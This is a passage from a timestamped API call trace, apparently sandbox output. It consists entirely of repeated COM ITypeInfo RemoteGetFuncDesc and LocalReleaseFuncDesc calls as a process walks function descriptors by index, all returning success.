ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x45, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x46, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x47, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x48, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x49, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4a, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4b, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4c, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4d, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4e, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4f, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x50, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x51, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x52, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x53, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x54, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x55, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x56, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x57, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x58, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x59, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5a, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5b, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5c, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5d, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5e, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5f, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x60, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x61, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x62, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x63, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x64, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x65, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x66, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x67, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x68, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x69, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6a, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6b, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6c, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6d, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6e, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6f, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.868] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x70, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.868] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x71, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x72, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x73, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x74, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x75, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x76, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x77, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x78, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x79, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7a, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7b, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7c, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7d, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7e, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7f, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x80, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x81, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x82, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x83, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x84, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x85, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x86, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x87, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x88, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x89, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8a, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8b, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.869] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.869] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8c, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8d, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8e, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8f, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x90, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x91, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x92, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x93, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x94, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x95, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x96, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x97, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x98, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x99, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9a, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9b, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9c, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9d, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9e, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9f, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa0, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa1, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa2, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa3, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa4, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa5, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa6, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa7, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.870] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa8, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.870] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa9, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xaa, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xab, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.871] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.871] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xac, 